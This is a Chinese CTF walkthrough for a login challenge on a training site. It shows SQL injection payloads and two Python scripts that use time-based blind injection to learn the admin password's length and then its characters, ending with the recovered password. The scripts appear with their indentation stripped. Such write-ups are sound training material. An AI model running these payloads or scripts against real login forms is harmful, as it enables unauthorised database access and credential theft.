看起來有點難
用戶名:123 密碼:123
顯示數據庫連接失敗
用戶名:admin 密碼:admin
顯示登錄失敗,錯誤的用戶名和密碼
結合兩次輸入回顯的內容,我們可以猜測用戶名應該是admin,而密碼暫時還不知道。
然後測試一下sql注入
admin=admin' union select 1,2,3 --+&pass=admin&action=login
發現被過濾了select
我們再試試admin=admin' and sleep(5) --+&pass=admin&action=login
發現有延遲了,我們可以用時間盲注。
然後開始寫腳本,先判斷密碼的長度
import requests
for i in range(1,10):
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(length(password)=%s) then sleep(3) else sleep(0) end and ''='&pass=&action=login" %i
try:
res = requests.get(url,timeout=3)
except:
print "length:%s" %i
break
最後得到密碼長度爲8
然後寫腳本跑密碼:
import requests
str = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'
flag=''
print "start"
for i in range(1,9):
for s in str:
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(3) else sleep(0) end and ''='&pass=&action=login" %(i,s)
try:
res = requests.get(url,timeout=3)
except:
flag += s
print (s)
break
print('passwd:%s'%flag)
用戶名:admin 密碼:idnuenna